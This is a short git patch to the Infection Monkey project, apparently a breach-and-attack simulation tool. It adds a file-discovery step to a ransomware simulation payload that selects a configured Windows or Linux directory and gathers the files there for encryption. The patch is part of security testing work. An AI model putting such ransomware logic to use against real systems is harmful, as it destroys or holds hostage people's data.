From c6da73ad798923998c5b25426a4595aac0c3dff0 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 19:42:50 +0530 Subject: [PATCH] agent: ransomware: Incorporate changes into stub --- .../infection_monkey/ransomware/ransomware_payload.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 941055062..779181992 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,5 +1,8 @@ import logging +from infection_monkey.ransomware.utils import get_files_to_encrypt +from infection_monkey.utils.environment import is_windows_os + LOG = logging.getLogger(__name__) @@ -17,7 +20,12 @@ class RansomewarePayload: self._encrypt_files(file_list) def _find_files(self): - return [] + dir_path = ( + self.config["windows_dir_ransom"] + if is_windows_os() + else self.config["linux_dir_ransom"] + ) + return get_files_to_encrypt(dir_path) def _encrypt_files(self, file_list): for file in file_list: